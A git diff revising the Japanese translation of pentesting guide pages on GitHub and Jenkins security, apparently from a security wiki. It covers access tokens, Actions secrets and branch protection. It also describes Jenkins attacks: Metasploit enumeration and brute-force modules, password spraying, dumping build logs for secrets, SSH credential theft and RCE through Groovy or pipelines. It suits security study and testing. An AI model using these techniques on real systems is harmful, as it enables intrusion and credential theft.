-関連する**プライベートキーがあなたの代わりにアクションを実行できるように、1つまたは複数の公開鍵でアカウントを構成できます。** [https://github.com/settings/keys](https://github.com/settings/keys) +1つまたは複数の公開鍵でアカウントを構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できる**ようにします。[https://github.com/settings/keys](https://github.com/settings/keys) #### **GPGキー** -これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) で詳細を学んでください。 +これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。詳細については、[ここで警戒モードについて学んでください](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。 ### **個人アクセストークン** -アプリケーションに**アカウントへのアクセスを与える**ために、個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定する**必要があります。 [https://github.com/settings/tokens](https://github.com/settings/tokens) +アプリケーションに**アカウントへのアクセスを与える**ために個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定**する必要があります。[https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauthアプリケーション Oauthアプリケーションは、**あなたのGithub情報の一部にアクセスするための権限を要求したり、あなたを偽装していくつかのアクションを実行したりする**ことがあります。この機能の一般的な例は、いくつかのプラットフォームで見られる**Githubでログインボタン**です。 -- 自分の**Oauthアプリケーション**を[https://github.com/settings/developers](https://github.com/settings/developers)で**作成**できます。 -- あなたのアカウントにアクセスできるすべての**Oauthアプリケーション**を[https://github.com/settings/applications](https://github.com/settings/applications)で見ることができます。 -- Oauthアプリが要求できる**スコープ**を[https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)で見ることができます。 -- 組織内のアプリケーションの**サードパーティアクセス**を_https://github.com/organizations/\/settings/oauth_application_policy_ で見ることができます。 +- [https://github.com/settings/developers](https://github.com/settings/developers) で独自の**Oauthアプリケーションを作成**できます。 +- [https://github.com/settings/applications](https://github.com/settings/applications) で、**あなたのアカウントにアクセス権を持つすべてのOauthアプリケーション**を確認できます。 +- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で、**Oauthアプリが要求できるスコープ**を確認できます。 +- _https://github.com/organizations/\/settings/oauth_application_policy_ で、組織内のアプリケーションのサードパーティアクセスを確認できます。 いくつかの**セキュリティ推奨事項**: -- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです(たとえば、ユーザー通知を提供する場合)し、指定されたスコープのみにアクセスします。 +- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです(たとえば、ユーザー通知を提供する場合)し、指定されたスコープにのみアクセスします。 - OAuthアプリは、認証されたユーザーのために「GitHubでログイン」を有効にすることで、アイデンティティプロバイダーとして使用できます。 -- **単一のリポジトリ**でアクションを実行するアプリケーションを作成しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。 -- **チームや会社**のアプリケーションとして機能するためにOAuthアプリを作成しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社用にOAuthアプリを作成し、その後会社を離れると、他の誰もそれにアクセスできなくなります。 +- **単一のリポジトリ**でアクションを実行するアプリケーションを作成したい場合は、**OAuthアプリ**を構築しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。 +- **チームや会社のためのアプリケーションとして機能する**ためにOAuthアプリを構築しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社のためにOAuthアプリを作成し、その後会社を離れた場合、他の誰もそれにアクセスできなくなります。 - **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)で。 ### Githubアプリケーション -Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりするための権限を要求する**ことがあります。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。 +Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりする**ための権限を要求できます。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。 - GitHubアプリをインストールするには、**組織のオーナーまたはリポジトリの管理者権限**を持っている必要があります。 - GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。 -- 自分のGithubアプリケーションを[https://github.com/settings/apps](https://github.com/settings/apps)で作成できます。 -- あなたのアカウントにアクセスできるすべての**Githubアプリケーション**を[https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)で見ることができます。 -- これらは**GithubアプリケーションのAPIエンドポイント**です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。 -- 組織内のインストールされたアプリを_https://github.com/organizations/\/settings/installations_ で見ることができます。 +- [https://github.com/settings/apps](https://github.com/settings/apps) で独自のGithubアプリケーションを作成できます。 +- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で、**あなたのアカウントにアクセス権を持つすべてのGithubアプリケーション**を確認できます。 +- これらは**GithubアプリケーションのAPIエンドポイント**です [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。 +- _https://github.com/organizations/\/settings/installations_ で、組織内のインストールされたアプリを確認できます。 いくつかのセキュリティ推奨事項: -- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです(アプリが[ユーザーからサーバーへの](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く)。ユーザーからサーバーへのアクセスをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセストークンのリフレッシュ](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。 +- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです(アプリが[user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く)。ユーザーからサーバーへのアクセストークンをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセス トークンの更新](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。 - GitHubアプリが**特定のリポジトリ**と統合されていることを確認してください。 - GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。 -- GitHubアプリがユーザーができるすべてのことを知って行うことを期待しないでください。 +- GitHubアプリがユーザーができるすべてのことを知って行動することを期待しないでください。 - **「GitHubでログイン」サービスが必要なだけの場合は、GitHubアプリを使用しないでください**。ただし、GitHubアプリは、ユーザーをログインさせるために[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)を使用して、ユーザーをログインさせることができます_そして_他のことを行うことができます。 -- GitHubユーザーとしてのみ機能し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを作成しないでください。 +- GitHubユーザーとしてのみ行動し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを構築しないでください。 - GitHub Actionsを使用してアプリを使用し、ワークフローファイルを変更したい場合は、`workflow`スコープを含むOAuthトークンを使用してユーザーの代わりに認証する必要があります。ユーザーは、ワークフローファイルを含むリポジトリに対して管理者または書き込み権限を持っている必要があります。詳細については、「[OAuthアプリのスコープの理解](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)」を参照してください。 - **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)で。 ### Github Actions -これは**Githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**Githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。 +これは**githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。 ## Gitアクション -Gitアクションは、**イベントが発生したときにコードの実行を自動化する**ことを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**(たとえば、Dockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど)。 +Gitアクションは、**イベントが発生したときにコードの実行を自動化**することを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**(おそらくDockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど)。 ### 設定 _https://github.com/organizations/\/settings/actions_ で、組織の**Githubアクションの設定**を確認できます。 -Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することも可能です。 +Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することもできます。 また、**Github Actionを実行するために承認が必要な人**や、Github Actionが実行されるときの**GITHUB_TOKENの権限**を設定することもできます。 ### Git Secrets -Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可しています。 +Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可します。 -これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするためには**、次のように宣言する必要があります: +これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするために**、次のように宣言する必要があります: ```yaml steps: - name: Hello world action @@ -170,73 +170,73 @@ example-command "$SUPER_SECRET" > [!WARNING] > Secrets **は、それらが宣言されている Github Actions からのみアクセス可能です**。 -> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができます**。 +> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができる** だけです。 -したがって、**github secrets を盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**(そのシナリオでは、Action のために宣言された秘密にのみアクセスできます)。 +したがって、**github シークレットを盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**(そのシナリオでは、Action に対して宣言されたシークレットのみアクセス可能になります)。 ### Git Environments -Github は **環境** を作成することを許可しており、そこで **secrets** を保存できます。次に、環境内の秘密に対するアクセスを github action に与えることができます。 +Github は **環境** を作成することを許可しており、そこに **シークレット** を保存できます。次に、環境内のシークレットへのアクセスを github action に与えることができます。 ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **アクセス** by **すべてのブランチ** (default), **保護された** branches only or **指定** which branches can access it.\ -It can also set a **必要なレビューの数** before **アクションを実行** using an **環境** or **待機** some **時間** before allowing deployments to proceed. +環境を**すべてのブランチ**(デフォルト)、**保護されたブランチのみ**、または**アクセスできるブランチを指定**するように構成できます。\ +また、**環境**を使用して**アクションを実行する前に必要なレビューの数**を設定したり、デプロイメントが進行する前に**一定の時間待機**することもできます。 ### Git Action Runner -A Github Action can be **実行される inside the github environment** or can be executed in a **サードパーティのインフラ** configured by the user. +Github Actionは**github環境内で実行**することも、ユーザーが構成した**サードパーティのインフラストラクチャ**で実行することもできます。 -Several organizations will allow to run Github Actions in a **サードパーティのインフラ** as it use to be **安価**. +いくつかの組織は、**サードパーティのインフラストラクチャ**でGithub Actionsを実行することを許可します。これは通常**安価**だからです。 -You can **リスト the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +組織の**セルフホストランナー**をリストするには、_https://github.com/organizations/\/settings/actions/runners_にアクセスします。 -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +**非Githubインフラストラクチャで実行されているGithub Actionsを見つける方法**は、Github Actionの設定yamlで`runs-on: self-hosted`を検索することです。 -It's **異なる組織の self hosted box** inside a **Github Action of an organization** because **Runnerのために一意のトークンが生成される** when configuring it to know where the runner belongs. +異なる組織の**セルフホストボックス内で組織のGithub Actionを実行することはできません**。これは、ランナーを構成する際に**ユニークなトークンが生成され**、ランナーがどこに属しているかを知るためです。 -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **メタデータエンドポイントにアクセスできる** and **サービスアカウントのトークンを盗む** the machine is running with. +例えば、カスタム**Github RunnerがAWSやGCP内のマシンに構成されている場合**、アクションは**メタデータエンドポイントにアクセスでき**、マシンが実行しているサービスアカウントのトークンを**盗む**ことができます。 ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **悪意のある** and will **侵害する** the **コンテナ** where it's being executed. +すべてのアクション(または悪意のあるアクション)が許可されている場合、ユーザーは**悪意のあるGithubアクション**を使用して、実行されている**コンテナを侵害**することができます。 > [!CAUTION] -> A **悪意のあるGithub Action** run could be **悪用される** by the attacker to: +> **悪意のあるGithub Action**の実行は、攻撃者によって次のように**悪用**される可能性があります: > -> - **すべてのシークレットを盗む** the Action has access to -> - **横移動する** if the Action is executed inside a **サードパーティのインフラ** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **トークンを悪用する** used by the **ワークフロー** to **リポジトリのコードを盗む** where the Action is executed or **さらには変更する**. +> - アクションがアクセスできる**すべての秘密を盗む** +> - アクションが**サードパーティのインフラストラクチャ**内で実行されている場合、マシンを実行するために使用されるSAトークンにアクセスして**横移動**する(おそらくメタデータサービス経由で) +> - **ワークフロー**によって使用されるトークンを**悪用して、アクションが実行されているリポジトリのコードを盗む**か、**変更する**。 ## Branch Protections -Branch protections are designed to **リポジトリの完全な制御をユーザーに与えない**. The goal is to **いくつかの保護方法を設ける** before being able to write code inside some branch. +ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**特定のブランチ内でコードを書く前にいくつかの保護方法を設ける**ことです。 -The **リポジトリのブランチ保護** can be found in _https://github.com/\/\/settings/branches_ +リポジトリの**ブランチ保護**は、_https://github.com/\/\/settings/branches_で見つけることができます。 > [!NOTE] -> It's **組織レベルでブランチ保護を設定することはできない**. So all of them must be declared on each repo. +> **組織レベルでブランチ保護を設定することはできません**。したがって、すべての保護は各リポジトリで宣言する必要があります。 -Different protections can be applied to a branch (like to master): +ブランチに適用できるさまざまな保護(例えばmaster): -- You can **マージ前にPRを要求する** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **承認の数を要求する**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **新しいコミットがプッシュされたときに承認を無効にする**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **コードオーナーからのレビューを要求する**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **プルリクエストレビューを無効にできる人を制限する**. You can specify people or teams allowed to dismiss pull request reviews. -- **指定されたアクターがプルリクエスト要件をバイパスできるようにする**. These users will be able to bypass previous restrictions. -- **マージ前にステータスチェックが通過することを要求する**. Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **マージ前に会話の解決を要求する**. All comments on the code needs to be resolved before the PR can be merged. -- **署名されたコミットを要求する**. The commits need to be signed. -- **線形履歴を要求する**. Prevent merge commits from being pushed to matching branches. -- **管理者を含める**. If this isn't set, admins can bypass the restrictions. -- **一致するブランチにプッシュできる人を制限する**. Restrict who can send a PR. +- **マージ前にPRを要求**できます(したがって、ブランチに直接コードをマージすることはできません)。これが選択されると、他のさまざまな保護が適用される可能性があります: +- **承認の数を要求**します。PRを承認するために1人または2人以上の人の承認を要求することは非常に一般的で、単一のユーザーが直接コードをマージできないようにします。 +- **新しいコミットがプッシュされたときに承認を無効にする**。そうでない場合、ユーザーは正当なコードを承認し、その後悪意のあるコードを追加してマージする可能性があります。 +- **コードオーナーからのレビューを要求**します。リポジトリの少なくとも1人のコードオーナーがPRを承認する必要があります(したがって「ランダム」なユーザーは承認できません)。 +- **プルリクエストレビューを無効にできる人を制限**します。プルリクエストレビューを無効にできる人やチームを指定できます。 +- **指定されたアクターがプルリクエスト要件をバイパスできるようにします**。これらのユーザーは以前の制限をバイパスできます。 +- **マージ前にステータスチェックが通過することを要求**します。コミットをマージする前にいくつかのチェックが通過する必要があります(例えば、クリアテキストの秘密がないことを確認するGithubアクションなど)。 +- **マージ前に会話の解決を要求**します。コードに対するすべてのコメントは、PRをマージする前に解決される必要があります。 +- **署名されたコミットを要求**します。コミットは署名される必要があります。 +- **線形履歴を要求**します。マージコミットが一致するブランチにプッシュされるのを防ぎます。 +- **管理者を含める**。これが設定されていない場合、管理者は制限をバイパスできます。 +- **一致するブランチにプッシュできる人を制限**します。PRを送信できる人を制限します。 > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **リポジトリは保護されているため、例えばmasterにコードをプッシュすることを避けることができる**. +> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることを避けることができます**。 ## References diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index f0cdc7a56..f7c29dfab 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## 基本情報 -Jenkinsは、パイプラインを使用して、ほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。 +Jenkinsは、パイプラインを使用してほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。 {{#ref}} basic-jenkins-information.md @@ -12,17 +12,17 @@ basic-jenkins-information.md ## 認証されていない列挙 -興味深いJenkinsページを認証なしで検索するために(_ /people_や_ /asynchPeople_のように、これにより現在のユーザーがリストされます)、次のように使用できます: +認証なしで興味深いJenkinsページを検索するには(例:_/people_や_/asynchPeople_、これは現在のユーザーをリストします)、次のようにします: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -認証なしでコマンドを実行できるか確認してください: +認証なしでコマンドを実行できるか確認してください: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -認証情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。 +資格情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。 -_**/oops**_ または _**/error**_ パスから Jenkins バージョンを取得できるかもしれません。 +_**/oops**_ または _**/error**_ パスから Jenkins のバージョンを取得できるかもしれません。 ![](<../../images/image (146).png>) @@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins ## ログイン -基本情報では、**Jenkins 内にログインするためのすべての方法**を確認できます: +基本情報では、**Jenkins 内にログインするすべての方法**を確認できます: {{#ref}} basic-jenkins-information.md @@ -42,29 +42,29 @@ basic-jenkins-information.md ### 登録 -アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。とても簡単です。 +アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。**それだけです。** ### **SSO ログイン** -また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket アカウント**)を使用してアプリケーションに**ログイン**を試みるべきです。[**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリックを参照してください。 +また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket アカウント**)を使用してアプリケーションに**ログイン**を試みるべきです。 [**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリック。 ### ブルートフォース -**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が欠けています。**弱いパスワード** や **ユーザー名をパスワードとして使用する** 可能性があるため、ユーザーを **ブルートフォース** することが重要です。さらに、**逆のユーザー名をパスワードとして使用する** ケースもあります。 +**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が不足しています。**弱いパスワード**や **ユーザー名をパスワードとして使用**している可能性があるため、ユーザーを**ブルートフォース**することが重要です。**逆のユーザー名をパスワードとして使用**している場合もあります。 ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### パスワードスプレー -[このPythonスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py)または[このPowerShellスクリプト](https://github.com/chryzsh/JenkinsPasswordSpray)を使用してください。 +Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IPホワイトリストバイパス -多くの組織は、GitHubやGitLabのような**SaaSベースのソース管理(SCM)システム**を、JenkinsやTeamCityのような**内部の自己ホスト型CI**ソリューションと組み合わせています。このセットアップにより、CIシステムは主にパイプラインジョブをトリガーするために、**SaaSソース管理ベンダー**から**ウェブフックイベント**を受信できます。 +多くの組織は、**SaaSベースのソース管理(SCM)システム**(GitHubやGitLabなど)を**内部の自己ホスト型CI**ソリューション(JenkinsやTeamCityなど)と組み合わせています。この設定により、CIシステムは**SaaSソース管理ベンダー**からの**ウェブフックイベント**を受信し、主にパイプラインジョブをトリガーすることができます。 -これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにします。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。 +これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにしています。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。 -確認してください: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## 内部Jenkinsの悪用 @@ -73,7 +73,7 @@ msf> use auxiliary/scanner/http/jenkins_login > [!WARNING] > Jenkinsに設定された**認証**メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。** -詳細については、基本情報を確認してください: +詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md @@ -83,9 +83,9 @@ basic-jenkins-information.md Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。 -### プレーンテキストの秘密を見つけるためのビルドダンプ +### プレーンテキストの秘密を見つけるためのビルドのダンプ -[このスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)を使用して、ビルドコンソール出力とビルド環境変数をダンプし、プレーンテキストの秘密を見つけることを期待します。 +Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -93,15 +93,15 @@ gitleaks detect --no-git -v ``` ### **SSH資格情報の盗難** -もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、SSH資格情報が他のノードにアクセスするためにすでに保存されていると、彼は**ノードを作成/変更し、資格情報を記録するホストを設定することによってそれらの資格情報を盗む**ことができます。ホストキーを検証せずに: +もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、他のノードにアクセスするためのSSH資格情報がすでに保存されていると、彼は**ホストを設定して資格情報を記録する**ことによって**それらの資格情報を盗む**ことができます。ホストキーを検証せずに: ![](<../../images/image (218).png>) -通常、JenkinsのSSH資格情報は**グローバルプロバイダー**(`/credentials/`)に見つかるので、他の秘密をダンプするのと同様にそれらをダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。 +通常、JenkinsのSSH資格情報は**グローバルプロバイダー**(`/credentials/`)に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。 ### **JenkinsにおけるRCE** -**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワーク内にある他のマシンを**悪用する**機会を与え、さらには**クラウド資格情報を収集する**ことができます。 +**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワークにある他のマシンを**悪用**したり、さらには**クラウド資格情報を収集**する機会を与えます。 デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。 @@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md ### **Groovyスクリプトの実行によるRCE** -新しいプロジェクトを作成するよりも、Groovyスクリプトを実行することでRCEを取得することもできます。これはよりステルス性が高いかもしれません: +Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません: {{#ref}} jenkins-rce-with-groovy-script.md @@ -123,7 +123,7 @@ jenkins-rce-with-groovy-script.md ### パイプラインの作成/変更によるRCE -**パイプラインを作成/変更することによってRCEを取得する**こともできます: +**パイプラインを作成/変更することによってもRCEを取得できます**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md @@ -141,7 +141,7 @@ jenkins-rce-creating-modifying-pipeline.md 他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。 -攻撃者がそのファイルに**書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\ +攻撃者が**そのファイルに対して書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\ 攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**(プラットフォームやユーザー権限によっては回避できる場合もあります)。 カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです: @@ -151,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md - **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ > [!NOTE] -> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。 +> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し**、**パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。 ### パイプラインRCE @@ -159,7 +159,7 @@ jenkins-rce-creating-modifying-pipeline.md ### 環境変数の確認 -**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**の構成/Jenkinsfileを**確認する**ことができます: +**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**構成/Jenkinsfileを**確認する**ことができます: ```bash pipeline { agent {label 'built-in'} @@ -184,11 +184,11 @@ basic-jenkins-information.md 資格情報は**グローバルプロバイダー**(`/credentials/`)または**特定のプロジェクト**(`/job//configure`)に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。 -もう一つの問題は、パイプラインの**env内の秘密を取得するためには、**秘密の**名前とタイプを知っている必要がある**ことです。たとえば、**`usernamePassword`** **秘密**を**`string`** **秘密**として**ロード**しようとすると、この**エラー**が発生します: +もう一つの問題は、パイプラインの**env内の秘密**を取得するには、**秘密の名前とタイプを知っている必要がある**ことです。たとえば、**`string`** **秘密**として**`usernamePassword`** **秘密**を**ロード**しようとすると、この**エラー**が発生します: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -ここでは、一般的な秘密の種類をロードする方法を示します: 